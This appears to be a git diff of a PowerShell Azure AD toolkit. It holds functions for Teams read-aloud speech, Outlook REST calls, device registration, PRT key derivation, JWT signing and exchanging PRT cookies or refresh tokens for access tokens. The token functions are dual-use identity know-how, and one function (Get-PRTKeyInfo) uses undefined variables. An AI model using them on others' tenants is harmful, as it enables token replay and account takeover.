||||
"data" = [ordered]@{
|
||||
"title" = "The King's Speech"
|
||||
"chunks" = @(
|
||||
[ordered]@{
|
||||
"content" = $Text
|
||||
"mimeType" = "text/plain"
|
||||
}
|
||||
)
|
||||
"startingChunkIndex" = 0
|
||||
"startingCharIndex" = 0
|
||||
}
|
||||
}
|
||||
|
||||
# Set the headers
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"Accept-Language" = $Language
|
||||
"MS-Int-AppId" = "Teams"
|
||||
}
|
||||
|
||||
# Invoke the command
|
||||
$contentModel = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://learningtools.onenote.com/learningtoolsapi/v2.0/getcontentmodelforreader" -Headers $headers -Body ($body | ConvertTo-Json -Depth 5) -ContentType "application/json; charset=utf-8"
|
||||
|
||||
# Construct the body
|
||||
$body = [ordered]@{
|
||||
"data" = [ordered]@{
|
||||
"sentenceModels" = @(
|
||||
[ordered]@{
|
||||
"t" = $Text
|
||||
"lang" = $Language
|
||||
"se" = $contentModel.data[0].formatting.b.r[0].i[0]
|
||||
"wo" = @()
|
||||
}
|
||||
)
|
||||
}
|
||||
"options" = [ordered]@{
|
||||
"preferredVoice" = $PreferredVoice
|
||||
"extractWordMarkers" = $True
|
||||
"encoding" = "Wav"
|
||||
"clientLabel" = "ReadAloudFirstPrefetch"
|
||||
"useBrowserSpecifiedDialect" = $True
|
||||
}
|
||||
}
|
||||
|
||||
# Set the headers
|
||||
$headers=@{
|
||||
"Authorization" = "MS-SessionToken $($contentModel.meta.sessionToken)"
|
||||
"X-UserSessionId" = $contentModel.meta.sessionId
|
||||
"Accept-Language" = $Language
|
||||
"MS-Int-AppId" = "Teams"
|
||||
}
|
||||
|
||||
# Invoke the command
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://learningtools.onenote.com/learningtoolsapi/v2.0/GetSpeech" -Headers $headers -Body ($body | ConvertTo-Json -Depth 5) -ContentType "application/json"
|
||||
|
||||
$mp3B64 = $response.data.sb[0].ad.Split(",")[1]
|
||||
|
||||
# Create a temporary file
|
||||
$tmp = New-TemporaryFile
|
||||
Rename-Item -Path $tmp.FullName -NewName ($tmp.Name+".mp3")
|
||||
$mp3 = ($tmp.FullName+".mp3")
|
||||
|
||||
try
|
||||
{
|
||||
Set-BinaryContent -Path $mp3 -Value [byte[]](Convert-B64ToByteArray -B64 $mp3B64)
|
||||
|
||||
$player = [System.Windows.Media.MediaPlayer]::new()
|
||||
$player.Open($mp3)
|
||||
# Pause for a while to populate the duration
|
||||
Start-Sleep -Milliseconds 100
|
||||
$player.Play()
|
||||
|
||||
# Wait till completed
|
||||
while($player.Position -lt $player.NaturalDuration.TimeSpan)
|
||||
{
|
||||
Start-Sleep -Milliseconds 10
|
||||
}
|
||||
$player.Close()
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
# Remove the temp file
|
||||
Remove-Item $mp3
|
||||
}
|
||||
}
|
||||
}
|
||||
+148
File diff suppressed because one or more lines are too long
@@ -0,0 +1,63 @@
|
||||
# Utilities for Outlook Rest API
|
||||
|
||||
# Escapes string to Json
|
||||
function Escape-StringToJson
|
||||
{
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$String
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
# ConvertTo-Json escapes strings automatically
|
||||
$String | ConvertTo-Json
|
||||
}
|
||||
}
|
||||
|
||||
# Calls Outlook Rest API
|
||||
function Call-OutlookAPI
|
||||
{
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
$Request,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Command,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet('Get','Post','Patch','Delete')]
|
||||
[String]$Method="Get",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet('v1.0','v2.0','beta')]
|
||||
[String]$Api="v2.0"
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
|
||||
$headers = @{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"Accept" = "text/*, multipart/mixed, application/xml, application/json; odata.metadata=none"
|
||||
"Content-Type" = "application/json; charset=utf-8"
|
||||
"X-AnchorMailbox" = (Read-Accesstoken $AccessToken).upn
|
||||
"Prefer" = 'exchange.behavior="ActivityAccess"'
|
||||
}
|
||||
|
||||
|
||||
$url="https://outlook.office.com/api/$Api/$Command"
|
||||
|
||||
if($Method -ne "Post" -and $Method -ne "Patch")
|
||||
{
|
||||
$response=Invoke-RestMethod -UseBasicParsing -Uri $Url -Method $Method -Headers $headers
|
||||
}
|
||||
else
|
||||
{
|
||||
$response=Invoke-RestMethod -UseBasicParsing -Uri $Url -Method $Method -Headers $headers -Body $Request
|
||||
}
|
||||
$response.value
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
+869
@@ -0,0 +1,869 @@
|
||||
# Aug 21st 2020
|
||||
function Register-DeviceToAzureAD
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$DeviceName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$DeviceType,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$OSVersion,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Bool]$SharedDevice=$False,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$DomainName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Guid]$TenantId,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$DomainController,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$SID,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Bool]$RegisterOnly=$false
|
||||
)
|
||||
Process
|
||||
{
|
||||
# If certificate provided, this is a Hybrid Join
|
||||
if($hybrid = $Certificate -ne $null)
|
||||
{
|
||||
# Load the "user" certificate private key
|
||||
try
|
||||
{
|
||||
$privateKey = Load-PrivateKey -Certificate $Certificate
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Error "Could not extract the private key from the given certificate!"
|
||||
return
|
||||
}
|
||||
|
||||
$deviceId = $certificate.Subject.Split("=")[1]
|
||||
try
|
||||
{
|
||||
$deviceIdGuid = [Guid]$deviceId
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Error "The certificate subject is not a valid device id (GUID)!"
|
||||
return
|
||||
}
|
||||
|
||||
# Create the signature blob
|
||||
$clientIdentity = "$($SID).$((Get-Date).ToUniversalTime().ToString("u"))"
|
||||
$bClientIdentity = [System.Text.Encoding]::ASCII.GetBytes($clientIdentity)
|
||||
$signedBlob = $privateKey.SignData($bClientIdentity, "SHA256")
|
||||
$b64SignedBlob = Convert-ByteArrayToB64 -Bytes $signedBlob
|
||||
}
|
||||
else
|
||||
{
|
||||
# Get the domain and tenant id
|
||||
$at_info = Read-Accesstoken -AccessToken $AccessToken
|
||||
if([string]::IsNullOrEmpty($DomainName))
|
||||
{
|
||||
if($at_info.upn)
|
||||
{
|
||||
$DomainName = $at_info.upn.Split("@")[1]
|
||||
}
|
||||
else
|
||||
{
|
||||
# Access Token fetched with SAML token so no upn
|
||||
# "unique_name" = "http://<domain>/adfs/services/trust/#"
|
||||
$DomainName = $at_info.unique_name.split("/")[2]
|
||||
$hybridSAML = $true
|
||||
}
|
||||
}
|
||||
$tenantId = [GUID]$at_info.tid
|
||||
|
||||
$headers=@{"Authorization" = "Bearer $AccessToken"}
|
||||
}
|
||||
|
||||
# Create a private key
|
||||
$rsa = [System.Security.Cryptography.RSA]::Create(2048)
|
||||
|
||||
# Initialize the Certificate Signing Request object
|
||||
$CN = "CN=7E980AD9-B86D-4306-9425-9AC066FB014A"
|
||||
$req = [System.Security.Cryptography.X509Certificates.CertificateRequest]::new($CN, $rsa, [System.Security.Cryptography.HashAlgorithmName]::SHA256,[System.Security.Cryptography.RSASignaturePadding]::Pkcs1)
|
||||
|
||||
# Create the signing request
|
||||
$csr = Convert-ByteArrayToB64 -Bytes $req.CreateSigningRequest()
|
||||
|
||||
# Use the device private key as a transport key just to make things simpler
|
||||
$transportKey = Convert-ByteArrayToB64 -Bytes $rsa.Key.Export([System.Security.Cryptography.CngKeyBlobFormat]::GenericPublicBlob)
|
||||
|
||||
# Create the request body
|
||||
# JoinType 0 = Azure AD join, transport key = device key
|
||||
# JoinType 4 = Azure AD registered, transport key = device key
|
||||
# JoinType 6 = Azure AD hybrid join, transport key = device key. Hybrid join this way is not supported, there must be an existing device with user cert.
|
||||
|
||||
$body=@{
|
||||
"CertificateRequest" = @{
|
||||
"Type" = "pkcs10"
|
||||
"Data" = $csr
|
||||
}
|
||||
"Attributes" = @{
|
||||
"ReuseDevice" = "$true"
|
||||
"ReturnClientSid" = "$true"
|
||||
"SharedDevice" = "$SharedDevice"
|
||||
}
|
||||
}
|
||||
if($hybrid)
|
||||
{
|
||||
$body["JoinType"] = 6 # Hybrid Join
|
||||
$body["ServerAdJoinData"] = @{
|
||||
"TransportKey" = $transportKey
|
||||
"TargetDomain" = $DomainName
|
||||
"DeviceType" = $DeviceType
|
||||
"OSVersion" = $OSVersion
|
||||
"DeviceDisplayName" = $DeviceName
|
||||
"SourceDomainController" = $DomainController
|
||||
"TargetDomainId" = $tenantId.ToString()
|
||||
"ClientIdentity" = @{
|
||||
"Type" = "sha256signed"
|
||||
"Sid" = $clientIdentity
|
||||
"SignedBlob" = $b64SignedBlob
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if($hybridSAML)
|
||||
{
|
||||
$body["JoinType"] = 6 # Hybrid Join
|
||||
}
|
||||
elseif($RegisterOnly)
|
||||
{
|
||||
$body["JoinType"] = 4 # Register
|
||||
}
|
||||
else
|
||||
{
|
||||
$body["JoinType"] = 0 # Join
|
||||
}
|
||||
$body["TransportKey"] = $transportKey
|
||||
$body["TargetDomain"] = $DomainName
|
||||
$body["DeviceType"] = $DeviceType
|
||||
$body["OSVersion"] = $OSVersion
|
||||
$body["DeviceDisplayName"] = $DeviceName
|
||||
}
|
||||
|
||||
# Make the enrollment request
|
||||
try
|
||||
{
|
||||
if($hybrid)
|
||||
{
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Put -Uri "https://enterpriseregistration.windows.net/EnrollmentServer/device/$deviceId`?api-version=1.0" -Body $($body | ConvertTo-Json -Depth 5) -ContentType "application/json; charset=utf-8"
|
||||
}
|
||||
else
|
||||
{
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://enterpriseregistration.windows.net/EnrollmentServer/device/?api-version=1.0" -Headers $headers -Body $($body | ConvertTo-Json -Depth 5) -ContentType "application/json; charset=utf-8"
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Error $_
|
||||
return
|
||||
}
|
||||
|
||||
Write-Debug "RESPONSE: $response"
|
||||
|
||||
# Get the certificate
|
||||
$binCert = [byte[]] (Convert-B64ToByteArray -B64 $response.Certificate.RawBody)
|
||||
|
||||
# Create a new x509certificate
|
||||
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($binCert,"",[System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::UserKeySet -band [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)
|
||||
|
||||
# Store the private key to so that it can be exported
|
||||
$cspParameters = [System.Security.Cryptography.CspParameters]::new()
|
||||
$cspParameters.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider"
|
||||
$cspParameters.ProviderType = 24
|
||||
$cspParameters.KeyContainerName ="AADInternals"
|
||||
|
||||
# Set the private key
|
||||
$privateKey = [System.Security.Cryptography.RSACryptoServiceProvider]::new(2048,$cspParameters)
|
||||
$privateKey.ImportParameters($rsa.ExportParameters($true))
|
||||
$cert.PrivateKey = $privateKey
|
||||
|
||||
# Return
|
||||
$returnValue=@(
|
||||
$cert
|
||||
$response
|
||||
)
|
||||
|
||||
return $returnValue
|
||||
}
|
||||
}
|
||||
|
||||
# Aug 21st 2020
|
||||
function Sign-JWT
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Security.Cryptography.RSA]$PrivateKey,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Byte[]]$Key,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Data
|
||||
)
|
||||
Process
|
||||
{
|
||||
if($PrivateKey)
|
||||
{
|
||||
# Sign the JWT (RS256)
|
||||
$signature = $PrivateKey.SignData($Data, [System.Security.Cryptography.HashAlgorithmName]::SHA256, [System.Security.Cryptography.RSASignaturePadding]::Pkcs1)
|
||||
}
|
||||
else
|
||||
{
|
||||
# Sign the JWT (HS256)
|
||||
$hmac = New-Object System.Security.Cryptography.HMACSHA256 -ArgumentList @(,$Key)
|
||||
$signature = $hmac.ComputeHash($Data)
|
||||
$hmac.Dispose()
|
||||
}
|
||||
|
||||
# Return
|
||||
return $signature
|
||||
}
|
||||
}
|
||||
|
||||
# Aug 24th 2020
|
||||
# Derives a 32 byte key using the given context and session key
|
||||
function Get-PRTDerivedKey
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(ParameterSetName='Byte',Mandatory=$True)]
|
||||
[byte[]]$Context,
|
||||
[Parameter(ParameterSetName='Byte',Mandatory=$True)]
|
||||
[byte[]]$SessionKey,
|
||||
[Parameter(ParameterSetName='B64',Mandatory=$True)]
|
||||
[string]$B64Context,
|
||||
[Parameter(ParameterSetName='B64',Mandatory=$True)]
|
||||
[string]$B64SessionKey,
|
||||
[Parameter(ParameterSetName='Hex',Mandatory=$True)]
|
||||
[string]$HexContext,
|
||||
[Parameter(ParameterSetName='Hex',Mandatory=$True)]
|
||||
[string]$HexSessionKey
|
||||
)
|
||||
Process
|
||||
{
|
||||
if($B64Context)
|
||||
{
|
||||
$Context = Convert-B64ToByteArray $B64Context
|
||||
$SessionKey = Convert-B64ToByteArray $B64SessionKey
|
||||
}
|
||||
elseif($HexContext)
|
||||
{
|
||||
$Context = Convert-HexToByteArray $HexContext
|
||||
$SessionKey = Convert-HexToByteArray $HexSessionKey
|
||||
}
|
||||
|
||||
# Fixed label
|
||||
$label = [text.encoding]::UTF8.getBytes("AzureAD-SecureConversation")
|
||||
|
||||
# Derive the decryption key using a standard NIST SP 800-108 KDF
|
||||
# As the key size is only 32 bytes (256 bits), no need to loop :)
|
||||
$computeValue = @(0x00,0x00,0x00,0x01) + $label + @(0x00) + $Context + @(0x00,0x00,0x01,0x00)
|
||||
$hmac = New-Object System.Security.Cryptography.HMACSHA256 -ArgumentList @(,$SessionKey)
|
||||
$hmacOutput = $hmac.ComputeHash($computeValue)
|
||||
|
||||
Write-Verbose "DerivedKey: $(Convert-ByteArrayToHex $hmacOutput)"
|
||||
|
||||
# Return
|
||||
$hmacOutput
|
||||
}
|
||||
}
|
||||
|
||||
# Get the access token with PRT
|
||||
# Aug 20th 2020
|
||||
function Get-AccessTokenWithPRT
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Cookie,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Resource,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$ClientId,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$RedirectUri="urn:ietf:wg:oauth:2.0:oob",
|
||||
[switch]$GetNonce
|
||||
)
|
||||
Process
|
||||
{
|
||||
$parsedCookie = Read-Accesstoken $Cookie
|
||||
|
||||
# Create parameters
|
||||
$mscrid = (New-Guid).ToString()
|
||||
$requestId = $mscrid
|
||||
|
||||
|
||||
# Create url and headers
|
||||
$url = "https://login.microsoftonline.com/Common/oauth2/authorize?resource=$Resource&client_id=$ClientId&response_type=code&redirect_uri=$RedirectUri&client-request-id=$requestId&mscrid=$mscrid"
|
||||
|
||||
# Add sso_nonce if exist
|
||||
if($parsedCookie.request_nonce)
|
||||
{
|
||||
$url += "&sso_nonce=$($parsedCookie.request_nonce)"
|
||||
}
|
||||
|
||||
$headers = @{
|
||||
"User-Agent" = ""
|
||||
"x-ms-RefreshTokenCredential" = $Cookie
|
||||
}
|
||||
|
||||
# First, make the request to get the authorisation code (tries to redirect so throws an error)
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri $url -Headers $headers -MaximumRedirection 0 -ErrorAction SilentlyContinue
|
||||
|
||||
Write-Debug "RESPONSE: $($response.OuterXml)"
|
||||
|
||||
# Try to parse the code from the response
|
||||
if($response.html.body.script)
|
||||
{
|
||||
$values = $response.html.body.script.Split("?").Split("\")
|
||||
foreach($value in $values)
|
||||
{
|
||||
$row=$value.Split("=")
|
||||
if($row[0] -eq "code")
|
||||
{
|
||||
$code = $row[1]
|
||||
Write-Verbose "CODE: $code"
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if(!$code)
|
||||
{
|
||||
if($response.html.body.h2.a.href -ne $null)
|
||||
{
|
||||
$values = $response.html.body.h2.a.href.Split("&")
|
||||
foreach($value in $values)
|
||||
{
|
||||
$row=$value.Split("=")
|
||||
if($row[0] -eq "sso_nonce")
|
||||
{
|
||||
$sso_nonce = $row[1]
|
||||
if($GetNonce)
|
||||
{
|
||||
# Just return the nonce
|
||||
return $sso_nonce
|
||||
}
|
||||
else
|
||||
{
|
||||
# Invalid PRT, nonce is required
|
||||
Write-Warning "Nonce needed. Try New-AADIntUserPRTToken with -GetNonce switch or -Nonce $sso_nonce parameter"
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
throw "Code not received!"
|
||||
}
|
||||
|
||||
# Create the body
|
||||
$body = @{
|
||||
client_id = $ClientId
|
||||
grant_type = "authorization_code"
|
||||
code = $code
|
||||
redirect_uri = $RedirectUri
|
||||
}
|
||||
|
||||
# Make the second request to get the access token
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://login.microsoftonline.com/common/oauth2/token" -Body $body -ContentType "application/x-www-form-urlencoded" -Method Post
|
||||
|
||||
Write-Debug "ACCESS TOKEN: $($response.access_token)"
|
||||
Write-Debug "REFRESH TOKEN: $($response.refresh_token)"
|
||||
|
||||
# Return
|
||||
return $response
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Get the access token with BPRT
|
||||
# Jan 10th 2021
|
||||
function Get-AccessTokenWithBPRT
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$BPRT,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Resource,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$ClientId
|
||||
)
|
||||
Process
|
||||
{
|
||||
Get-AccessTokenWithRefreshToken -Resource "urn:ms-drs:enterpriseregistration.windows.net" -ClientId "b90d5b8f-5503-4153-b545-b31cecfaece2" -TenantId "Common" -RefreshToken $BPRT
|
||||
}
|
||||
}
|
||||
|
||||
# Get the token with deviceid claim
|
||||
# Aug 28th
|
||||
function Set-AccessTokenDeviceAuth
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[bool]$BPRT,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$RefreshToken,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$PfxFileName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$PfxPassword,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$TransportKeyFileName
|
||||
)
|
||||
Process
|
||||
{
|
||||
if(!$Certificate)
|
||||
{
|
||||
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable
|
||||
}
|
||||
|
||||
if($BPRT)
|
||||
{
|
||||
# Fixed values for BPRT to get access token for Intune MDM
|
||||
$clientId = "b90d5b8f-5503-4153-b545-b31cecfaece2"
|
||||
$resource = "https://enrollment.manage.microsoft.com/"
|
||||
}
|
||||
else
|
||||
{
|
||||
# This is the only supported client id :(
|
||||
$clientId = "29d9ed98-a469-4536-ade2-f981bc1d605e"
|
||||
|
||||
# Get the claims from the access token to get the resource
|
||||
$claims = Read-Accesstoken -AccessToken $AccessToken
|
||||
$resource = $claims.aud
|
||||
}
|
||||
|
||||
# Get the private key
|
||||
if($TransportKeyFileName)
|
||||
{
|
||||
# Get the transport key from the provided file
|
||||
$tkPEM = (Get-Content $TransportKeyFileName) -join "`n"
|
||||
$tkParameters = Convert-PEMToRSA -PEM $tkPEM
|
||||
$privateKey = [System.Security.Cryptography.RSA]::Create($tkParameters)
|
||||
}
|
||||
else
|
||||
{
|
||||
$privateKey = Load-PrivateKey -Certificate $Certificate
|
||||
}
|
||||
|
||||
$body=@{
|
||||
"grant_type" = "srv_challenge"
|
||||
"windows_api_version" = "2.0"
|
||||
"client_id" = $clientId
|
||||
"redirect_uri" = "ms-appx-web://Microsoft.AAD.BrokerPlugin/DRS"
|
||||
"resource" = $resource
|
||||
}
|
||||
|
||||
if($BPRT)
|
||||
{
|
||||
$body.Remove("redirect_uri")
|
||||
}
|
||||
|
||||
# Get the nonce
|
||||
$nonce = (Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token" -Body $body).Nonce
|
||||
|
||||
# B64 encode the public key
|
||||
$x5c = Convert-ByteArrayToB64 -Bytes ($certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert))
|
||||
|
||||
# Create the header and body
|
||||
$hdr = [ordered]@{
|
||||
"alg" = "RS256"
|
||||
"typ" = "JWT"
|
||||
"x5c" = "$x5c"
|
||||
}
|
||||
|
||||
$OSVersion="10.0.18362.997"
|
||||
|
||||
$pld = [ordered]@{
|
||||
"win_ver" = $OSVersion
|
||||
"resource" = $resource
|
||||
"scope" = "openid aza"
|
||||
"request_nonce" = $nonce
|
||||
"refresh_token" = $RefreshToken
|
||||
"redirect_uri" = "ms-appx-web://Microsoft.AAD.BrokerPlugin/DRS"
|
||||
"iss" = "aad:brokerplugin"
|
||||
"grant_type" = "refresh_token"
|
||||
"client_id" = $clientId
|
||||
}
|
||||
|
||||
if($BPRT)
|
||||
{
|
||||
$pld.Remove("redirect_uri")
|
||||
$pld["scope"] = "openid"
|
||||
}
|
||||
|
||||
# Create the JWT
|
||||
$jwt = New-JWT -PrivateKey $privateKey -Header $hdr -Payload $pld
|
||||
|
||||
# Construct the body
|
||||
$body = @{
|
||||
"windows_api_version" = "2.0"
|
||||
"grant_type" = "urn:ietf:params:oauth:grant-type:jwt-bearer"
|
||||
"request" = "$jwt"
|
||||
}
|
||||
|
||||
# Make the request to get the new access token
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token" -ContentType "application/x-www-form-urlencoded" -Body $body
|
||||
|
||||
if($BPRT)
|
||||
{
|
||||
$response | Add-Member -NotePropertyName "refresh_token" -NotePropertyValue $RefreshToken
|
||||
}
|
||||
|
||||
Write-Debug "ACCESS TOKEN: $($response.access_token)"
|
||||
Write-Debug "REFRESH TOKEN: $($response.refresh_token)"
|
||||
|
||||
# Return
|
||||
return $response
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
function New-JWT
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(ParameterSetName='PrivateKey', Mandatory=$True)]
|
||||
[System.Security.Cryptography.RSA]$PrivateKey,
|
||||
[Parameter(ParameterSetName='Key',Mandatory=$True)]
|
||||
[Byte[]]$Key,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[System.Collections.Specialized.OrderedDictionary]$Header,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[System.Collections.Specialized.OrderedDictionary]$Payload
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Construct the header
|
||||
$txtHeader = $Header | ConvertTo-Json -Compress
|
||||
$txtPayload = $Payload | ConvertTo-Json -Compress
|
||||
|
||||
# Convert to B64 and strip the padding
|
||||
$b64Header = Convert-ByteArrayToB64 -Bytes ([text.encoding]::UTF8.getBytes($txtHeader )) -NoPadding
|
||||
$b64Payload = Convert-ByteArrayToB64 -Bytes ([text.encoding]::UTF8.getBytes($txtPayload)) -NoPadding
|
||||
|
||||
# Construct the JWT data to be signed
|
||||
$binData = [text.encoding]::UTF8.GetBytes(("{0}.{1}" -f $b64Header,$b64Payload))
|
||||
|
||||
# Get the signature
|
||||
$Binsig = Sign-JWT -PrivateKey $PrivateKey -Key $Key -Data $binData
|
||||
$B64sig = Convert-ByteArrayToB64 -Bytes $Binsig -UrlEncode
|
||||
|
||||
# Construct the JWT
|
||||
$jwt = "{0}.{1}.{2}" -f $b64Header,$b64Payload,$B64sig
|
||||
|
||||
# Return
|
||||
return $jwt
|
||||
}
|
||||
}
|
||||
|
||||
function Get-PRTKeyInfo
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
|
||||
|
||||
[Parameter(ParameterSetName='PrivateKey',Mandatory=$True)]
|
||||
[byte[]]$PrivateKey
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
|
||||
# Create a random context
|
||||
$ctx = New-Object byte[] 24
|
||||
([System.Security.Cryptography.RandomNumberGenerator]::Create()).GetBytes($context)
|
||||
|
||||
# Get the private key
|
||||
$privateKey = Load-PrivateKey -Certificate $Certificate
|
||||
|
||||
$body=@{
|
||||
"grant_type" = "srv_challenge"
|
||||
"windows_api_version" = "2.0"
|
||||
"client_id" = $ClientId
|
||||
"redirect_uri" = $RedirectUri
|
||||
"resource" = $Resource
|
||||
}
|
||||
|
||||
# Get the nonce
|
||||
$nonce = (Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token" -Body $body).Nonce
|
||||
|
||||
# B64 encode the public key
|
||||
$x5c = Convert-ByteArrayToB64 -Bytes ($certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert))
|
||||
|
||||
# Create the header and body
|
||||
$hdr = [ordered]@{
|
||||
"alg" = "RS256"
|
||||
"typ" = "JWT"
|
||||
"x5c" = "$x5c"
|
||||
}
|
||||
|
||||
$OSVersion="10.0.18362.997"
|
||||
|
||||
$pld = [ordered]@{
|
||||
"win_ver" = $OSVersion
|
||||
"resource" = $Resource
|
||||
"scope" = "openid aza"
|
||||
"request_nonce" = $nonce
|
||||
"refresh_token" = $RefreshToken
|
||||
"redirect_uri" = $RedirectUri
|
||||
"iss" = "aad:brokerplugin"
|
||||
"grant_type" = "refresh_token"
|
||||
"client_id" = $ClientId
|
||||
}
|
||||
|
||||
# Create the JWT
|
||||
$jwt = New-JWT -PrivateKey $privateKey -Header $hdr -Payload $pld
|
||||
|
||||
# Construct the body
|
||||
$body = @{
|
||||
"windows_api_version" = "2.0"
|
||||
"grant_type" = "urn:ietf:params:oauth:grant-type:jwt-bearer"
|
||||
"request" = "$jwt"
|
||||
}
|
||||
|
||||
# Make the request to get the PRT key information
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token" -ContentType "application/x-www-form-urlencoded" -Body $body
|
||||
|
||||
Write-Debug "ACCESS TOKEN: $($response.access_token)"
|
||||
Write-Debug "REFRESH TOKEN: $($response.refresh_token)"
|
||||
|
||||
# Return
|
||||
return $response
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Parses the given JWE
|
||||
# Dec 22nd 2021
|
||||
Function Parse-JWE
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
|
||||
param(
|
||||
[parameter(Mandatory=$True,ValueFromPipeline)]
|
||||
[String]$JWE
|
||||
)
|
||||
process
|
||||
{
|
||||
$parts = $JWE.Split(".")
|
||||
if($parts.Count -ne 5)
|
||||
{
|
||||
Throw "Invalid JWE: $($parts.Count) parts, expected 5"
|
||||
}
|
||||
|
||||
# Decode and parse the header
|
||||
$parsedJWT = Convert-B64ToText -B64 $parts[0] | ConvertFrom-Json
|
||||
# Add other parts
|
||||
$parsedJWT | Add-Member -NotePropertyName "Key" -NotePropertyValue $parts[1]
|
||||
$parsedJWT | Add-Member -NotePropertyName "Iv" -NotePropertyValue $parts[2]
|
||||
$parsedJWT | Add-Member -NotePropertyName "CipherText" -NotePropertyValue $parts[3]
|
||||
$parsedJWT | Add-Member -NotePropertyName "Tag" -NotePropertyValue $parts[4]
|
||||
|
||||
return $parsedJWT
|
||||
}
|
||||
}
|
||||
|
||||
# Decrypt the given JWE
|
||||
# Dec 22nd 2021
|
||||
Function Decrypt-JWE
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
|
||||
param(
|
||||
[Parameter(Mandatory=$True,ValueFromPipeline)]
|
||||
[String]$JWE,
|
||||
[Parameter(Mandatory=$True,ParameterSetName = "RSA")]
|
||||
[System.Security.Cryptography.RSA]$PrivateKey,
|
||||
[Parameter(Mandatory=$False,ParameterSetName = "RSA")]
|
||||
[bool]$returnKey = $true,
|
||||
[Parameter(Mandatory=$True,ParameterSetName = "Key")]
|
||||
[byte[]]$Key,
|
||||
[Parameter(Mandatory=$True,ParameterSetName = "SessionKey")]
|
||||
